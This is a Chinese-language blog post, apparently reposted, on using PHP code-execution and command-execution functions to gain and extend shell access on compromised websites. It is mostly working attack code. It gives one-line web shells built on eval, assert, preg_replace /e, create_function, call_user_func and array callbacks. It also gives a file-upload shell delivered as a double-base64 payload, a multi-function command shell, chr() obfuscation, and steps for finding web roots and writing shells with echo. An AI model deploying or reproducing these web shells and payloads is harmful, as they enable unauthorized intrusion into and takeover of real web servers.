溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶(hù)服務(wù)條款》

代碼執(zhí)行函數(shù)和命令執(zhí)行函數(shù)及Getshell方法的示例分析

發(fā)布時(shí)間:2021-12-18 09:22:01 來(lái)源:億速云 閱讀:165 作者:小新 欄目:網(wǎng)絡(luò)安全

這篇文章將為大家詳細(xì)講解有關(guān)代碼執(zhí)行函數(shù)和命令執(zhí)行函數(shù)及Getshell方法的示例分析,小編覺(jué)得挺實(shí)用的,因此分享給大家做個(gè)參考,希望大家閱讀完這篇文章后可以有所收獲。

僅供參考學(xué)習(xí)使用

代碼執(zhí)行函數(shù) VS 命令執(zhí)行函數(shù)

     一直想整理這兩塊的內(nèi)容,但是一直沒(méi)時(shí)間弄,直到前兩天碰上一個(gè)寫(xiě)入了菜刀馬但是死活連不上菜刀的站,頓時(shí)不知道怎么繼續(xù)了,所以就趁這個(gè)機(jī)會(huì)整理了一下代碼執(zhí)行函數(shù)怎么getshell和命令執(zhí)行函數(shù)怎么getshell的思路,各位大牛有什么想法可以一起交流一下。那么我們開(kāi)始正題。


     菜刀馬的原理其實(shí)是調(diào)用了代碼執(zhí)行函數(shù)。而菜刀之所以能夠執(zhí)行系統(tǒng)命令和上傳文件,也是調(diào)用了命令執(zhí)行函數(shù)。命令馬的原理是調(diào)用了命令執(zhí)行函數(shù)。


     這兩種都能夠getshell(以上傳大馬為準(zhǔn))因?yàn)橛幸恍?a title="服務(wù)器" target="_blank" href="http://kemok4.com/">服務(wù)器做了限制,比如菜刀連不上,或者禁用了某些函數(shù),或者利用SQL注入寫(xiě)文件和XML之類(lèi)的漏洞,所以有時(shí)候在有了菜刀馬和命令馬之后要上傳大馬還是有一些波折的,當(dāng)然能夠直接上傳或?qū)懭氪篑R的除外。


一、首先是菜刀馬:
     菜刀馬的原理是調(diào)用了PHP的代碼執(zhí)行函數(shù),比如以下1和2兩個(gè)常見(jiàn)的一句話菜刀馬,就是調(diào)用了eval函數(shù)、assert函數(shù)。

1、eval()函數(shù)代碼執(zhí)行函數(shù)和命令執(zhí)行函數(shù)及Getshell方法的示例分析

代碼執(zhí)行函數(shù)和命令執(zhí)行函數(shù)及Getshell方法的示例分析

那么當(dāng)我們上傳了eval函數(shù)的菜刀馬之后,在連接不上菜刀的情況下怎么上傳大馬呢?繼續(xù)往下看

這里我是先寫(xiě)一個(gè)上傳馬,再用上傳馬去上傳大馬,有點(diǎn)多次一舉,但是考慮到大馬代碼量太多,還是建議先寫(xiě)個(gè)上傳馬,以下代碼只有1kb。

<?php

@$temp = $_FILES['upload_file']['tmp_name'];

@$file = basename($_FILES['upload_file']['name']);

if (empty ($file)){

echo "<form action = '' method = 'POST' ENCTYPE='multipart/form-data'>\n";echo "Local file: <input type = 'file' name = 'upload_file'>\n";echo "<input type = 'submit' value = 'Upload'>\n";echo "</form>\n<pre>\n\n</pre>";}else {if(move_uploaded_file($temp,$file)){echo "File uploaded successfully.<p>\n";}else {echo "Unable to upload " . $file . ".<p>\n";}}?>

原理是利用文件操作函數(shù)如下:

fputs(fopen(shell.php,w),xxxx);

寫(xiě)入xxxx到腳本執(zhí)行文件當(dāng)前目錄下的shell.php文件。
由于是利用post傳參,不能出現(xiàn)【<】【>】【+】【=】【/】等符號(hào),所以這里我們需要把代碼編碼一下,將上面的上傳代碼進(jìn)行兩次base64編碼(為了去除=號(hào))。


☆☆☆鏈接文字在編碼的時(shí)候空格和回車(chē)都會(huì)影響編碼后的結(jié)果,因此建議大家直接復(fù)制我上面的上傳馬或者用下面我編碼好的,或者自己去慢慢嘗試直到base64編碼后為一串自由數(shù)字和字母的字符串即可。
接下來(lái)利用文件操作函數(shù)寫(xiě)入上傳馬,注意不要忘了最后的分號(hào)。

cmd=fputs(fopen(base64_decode(c2hlbGwucGhw),w),base64_decode(base64_decode(UEQ5d2FIQWdEUXBBSkhSbGJYQWdQU0FrWDBaSlRFVlRXeWQxY0d4dllXUmZabWxzWlNkZFd5ZDBiWEJmYm1GdFpTZGRPdzBLUUNSbWFXeGxJRDBnWW1GelpXNWhiV1VvSkY5R1NVeEZVMXNuZFhCc2IyRmtYMlpwYkdVblhWc25ibUZ0WlNkZEtUc05DbWxtSUNobGJYQjBlU0FvSkdacGJHVXBLWHNOQ21WamFHOGdJanhtYjNKdElHRmpkR2x2YmlBOUlDY25JRzFsZEdodlpDQTlJQ2RRVDFOVUp5QkZUa05VV1ZCRlBTZHRkV3gwYVhCaGNuUXZabTl5YlMxa1lYUmhKejVjYmlJN1pXTm9ieUFpVEc5allXd2dabWxzWlRvZ1BHbHVjSFYwSUhSNWNHVWdQU0FuWm1sc1pTY2dibUZ0WlNBOUlDZDFjR3h3WVdSZlptbHNaU2MrWEc0aU8yVmphRzhnSWp4cGJuQjFkQ0IwZVhCbElEMGdKM04xWW0xcGRDY2dkbUZzZFdVZ1BTQW5WWEJzYjJGa0p6NWNiaUk3WldOb2J5QWlQQzltYjNKdFBseHVQSEJ5WlQ1Y2JseHVQQzl3Y21VK0lqdDlaV3h7WlNCN2FXWW9iVzkyWlY5MWNHeHZZV1JsWkY5bWFXeGxLQ1IwWlcxd0xDUm1hV3hsS1NsN1pXTm9ieUFpUm1sc1pTQjFjR3h3WVdSbFpDQnpkV05qWlhOelpuVnNiSGt1UEhBK1hHNGlPMzFsYkhObElIdGxZMmh3SUNKVmJtRmliR1VnZEc4Z2RYQnNiMkZrSUNJZ0xpQWtabWxzWlNBdUlDSXVQSEErWEc0aU8zMTlQejQ9)));

成功得到上傳馬,之后就是上傳我們的大馬了。

代碼執(zhí)行函數(shù)和命令執(zhí)行函數(shù)及Getshell方法的示例分析

2、assert()函數(shù)

#assert函數(shù)是直接將傳入的參數(shù)當(dāng)成PHP代碼直接,不需要以分號(hào)結(jié)尾,當(dāng)然你加上也可以。

#命令執(zhí)行:cmd=system(whoami)

#菜刀連接密碼:cmd

<?php @assert($_POST['cmd'])?>

代碼執(zhí)行函數(shù)和命令執(zhí)行函數(shù)及Getshell方法的示例分析

上傳大馬,這一步參考eval函數(shù)。


     其他的代碼執(zhí)行函數(shù)還有以下幾個(gè),均給出了菜刀馬和連接方式:

3、preg_replace()

#preg_replace('正則規(guī)則','替換字符','目標(biāo)字符')

#執(zhí)行命令和上傳文件參考assert函數(shù)(不需要加分號(hào))。

#將目標(biāo)字符中符合正則規(guī)則的字符替換為替換字符,此時(shí)如果正則規(guī)則中使用/e修飾符,則存在代碼執(zhí)行漏洞。

preg_replace("/test/e",$_POST["cmd"],"jutst test");

這里可以使用chr()函數(shù)轉(zhuǎn)換ASCII編碼來(lái)執(zhí)行代碼。

#phpinfo();
eval(chr(112).chr(104).chr(112).chr(105).chr(110).chr(102).chr(111).chr(40).chr(41).chr(59))


代碼執(zhí)行函數(shù)和命令執(zhí)行函數(shù)及Getshell方法的示例分析

4、create_function()函數(shù)

#創(chuàng)建匿名函數(shù)執(zhí)行代碼

#執(zhí)行命令和上傳文件參考eval函數(shù)(必須加分號(hào))。

#菜刀連接密碼:cmd

$func =create_function('',$_POST['cmd']);$func();


5、array_map()函數(shù)

#array_map() 函數(shù)將用戶(hù)自定義函數(shù)作用到數(shù)組中的每個(gè)值上,并返回用戶(hù)自定義函數(shù)作用后的帶有新值的數(shù)組。 回調(diào)函數(shù)接受的參數(shù)數(shù)目應(yīng)該和傳遞給 array_map() 函數(shù)的數(shù)組數(shù)目一致。

#命令執(zhí)行http://localhost/123.php?func=system   cmd=whoami

#菜刀連接http://localhost/123.php?func=assert   密碼:cmd

$func=$_GET['func'];

$cmd=$_POST['cmd'];

$array[0]=$cmd;

$new_array=array_map($func,$array);

echo $new_array;

代碼執(zhí)行函數(shù)和命令執(zhí)行函數(shù)及Getshell方法的示例分析

6、call_user_func()函數(shù)

#傳入的參數(shù)作為assert函數(shù)的參數(shù)

#cmd=system(whoami)

#菜刀連接密碼:cmd

call_user_func("assert",$_POST['cmd']);

7、call_user_func_array()函數(shù)

#將傳入的參數(shù)作為數(shù)組的第一個(gè)值傳遞給assert函數(shù)

#cmd=system(whoami)

#菜刀連接密碼:cmd

$cmd=$_POST['cmd'];

$array[0]=$cmd;

call_user_func_array("assert",$array);


8、array_filter()函數(shù)

#用回調(diào)函數(shù)過(guò)濾數(shù)組中的元素:array_filter(數(shù)組,函數(shù))

#命令執(zhí)行func=system&cmd=whoami

#菜刀連接http://localhost/123.php?func=assert  密碼cmd

$cmd=$_POST['cmd'];

$array1=array($cmd);

$func =$_GET['func'];

array_filter($array1,$func);

9、uasort()函數(shù)

#php環(huán)境>=<5.6才能用

#uasort() 使用用戶(hù)自定義的比較函數(shù)對(duì)數(shù)組中的值進(jìn)行排序并保持索引關(guān)聯(lián) 。

#命令執(zhí)行:http://localhost/123.php?1=1+1&2=eval($_GET[cmd])&cmd=system(whoami);

#菜刀連接:http://localhost/123.php?1=1+1&2=eval($_POST[cmd])   密碼:cmd

usort($_GET,'asse'.'rt');



二、命令執(zhí)行函數(shù)
     PHP執(zhí)行系統(tǒng)命令的有幾個(gè)常用的函數(shù),如有:system函數(shù)、exec函數(shù)、popen函數(shù),passthru,shell_exec函數(shù)他們都可以執(zhí)行系統(tǒng)命令,下面是我整理的一個(gè)命令馬,把常見(jiàn)的命令執(zhí)行函數(shù)都做了一個(gè)梳理,如果大家還有什么新的思路或見(jiàn)解,可以一起交流交流。

<?php

$command=$_POST['cmd'];

#function exec_all($command)

#{

//system函數(shù)可執(zhí)行并直接顯示結(jié)果

if(function_exists('system'))

{

    echo "<pre>";

    system($command);

    echo "</pre>";

}

//passthru函數(shù)可執(zhí)行并直接顯示結(jié)果

else if(function_exists('passthru'))

{

    echo "<pre>";

    passthru($command);

    echo "</pre>";

}

//shell_exec函數(shù)可執(zhí)行但需要加echo才能顯示結(jié)果

else if(function_exists('shell_exec'))

{

    echo "<pre>";

    echo shell_exec($command);

    echo "</pre>";

}

//function exec(命令,以數(shù)組形式的保存結(jié)果,命令執(zhí)行的狀態(tài)碼)

//可執(zhí)行,但需要加echo才能顯示結(jié)果

else if(function_exists('exec'))

{  

    echo "<pre>";

    exec($command,$output);

    echo "</br>";

    print_r($output);

    echo "</pre>";

}

//popen函數(shù):打開(kāi)一個(gè)指向進(jìn)程的管道,該進(jìn)程由派生指定的 command 命令執(zhí)行而產(chǎn)生。

//返回一個(gè)和 fopen() 所返回的相同的文件指針,只不過(guò)它是單向的(只能用于讀或?qū)懀?/p>

//此指針可以用于 fgets(),fgetss() 和 fwrite()。并且必須用 pclose() 來(lái)關(guān)閉。

//若出錯(cuò),則返回 false。

else if(function_exists('popen'))

{

    $handle = popen($command , "r"); // Open the command pipe for reading

    if(is_resource($handle))

    {

        if(function_exists('fread') && function_exists('feof'))

        {

            echo "<pre>";

            while(!feof($handle))

            {

                echo fread($handle, 1024);        

            }

            echo "</pre>";

        }

        else if(function_exists('fgets') && function_exists('feof'))

        {

            echo "<pre>";

            while(!feof($handle))

            {       

                echo fgets($handle,1024);

            }

            echo "<pre>";

        }

    }

    pclose($handle);

}

//proc_open — 執(zhí)行一個(gè)命令,并且打開(kāi)用來(lái)輸入/輸出的文件指針。

else if(function_exists('proc_open'))

{

    $descriptorspec = array(

            1 => array("pipe", "w"),  // stdout is a pipe that the child will write to

            );

    $handle = proc_open($command ,$descriptorspec , $pipes); // This will return the output to an array 'pipes'

    if(is_resource($handle))

    {

        if(function_exists('fread') && function_exists('feof'))

        {

            echo "<pre>";

            while(!feof($pipes[1]))

            {

                echo fread($pipes[1], 1024);        

            }

            echo "</pre>";

        }

        else if(function_exists('fgets') && function_exists('feof'))

        {

            echo "<pre>";

            while(!feof($pipes[1]))

            {       

                echo fgets($pipes[1],1024);

            }

            echo "<pre>";

        }

    }

    #pclose($handle);

}

else

{

    echo 'GG';

}

#}

     其他函數(shù):
暫時(shí)就知道其他兩個(gè)函數(shù),不過(guò)也都是基于以上的函數(shù)所變化的。

<?php

$cmd=$_POST['cmd'];

echo "<pre>";

//可執(zhí)行并直接顯示結(jié)果,反引號(hào),波浪鍵。

//shell_exec() 函數(shù)實(shí)際上僅是反撇號(hào) (`) 操作符的變體

//所以如果把shell_exec()函數(shù)禁用了,反撇號(hào) (`)也是執(zhí)行不了命令的。

echo `$cmd`;

//注意,這個(gè)只顯示結(jié)果的第一行,因此基本只能執(zhí)行whoami

//ob_start:打開(kāi)緩沖區(qū),需要system函數(shù)開(kāi)啟

$a = 'system';

ob_start($a);

echo "$_POST[cmd]";

ob_end_flush();

echo "</pre>";

     上面講完命令執(zhí)行命令,也都可以執(zhí)行命令了,那么如何利用這些命令馬來(lái)進(jìn)一步上傳我們的大馬呢。


     這里了我是用echo寫(xiě)文件的思路,遺忘大佬教的用msf結(jié)合命令行去下載大馬我暫時(shí)還沒(méi)去實(shí)踐,就留著以后有時(shí)間再寫(xiě)了,廢話不多說(shuō),開(kāi)干吧!

代碼執(zhí)行函數(shù)和命令執(zhí)行函數(shù)及Getshell方法的示例分析

成功執(zhí)行命令之后,首先利用【dir】命令得到網(wǎng)站路徑,如果是mysql注入得到的os-shell也可用【dir d:\ /b】命令查找存放網(wǎng)站程序的路徑。

代碼執(zhí)行函數(shù)和命令執(zhí)行函數(shù)及Getshell方法的示例分析

然后用【echo】命令寫(xiě)入我們的上傳馬

代碼執(zhí)行函數(shù)和命令執(zhí)行函數(shù)及Getshell方法的示例分析

☆☆☆這里注意【<】【>】【&】這三個(gè)字符在CMD命令行中有特殊意義,需要在前面加【^】進(jìn)行轉(zhuǎn)義,可以用文本的替換來(lái)實(shí)現(xiàn)這個(gè)功能。

代碼執(zhí)行函數(shù)和命令執(zhí)行函數(shù)及Getshell方法的示例分析

寫(xiě)入成功之后就可以上傳我們的大馬啦 ^-^!然后就看大家的啦,該修復(fù)修復(fù),想提交提交,到這里就結(jié)束啦,有什么意見(jiàn)歡迎一起交流交流。

關(guān)于“代碼執(zhí)行函數(shù)和命令執(zhí)行函數(shù)及Getshell方法的示例分析”這篇文章就分享到這里了,希望以上內(nèi)容可以對(duì)大家有一定的幫助,使各位可以學(xué)到更多知識(shí),如果覺(jué)得文章不錯(cuò),請(qǐng)把它分享出去讓更多的人看到。

向AI問(wèn)一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI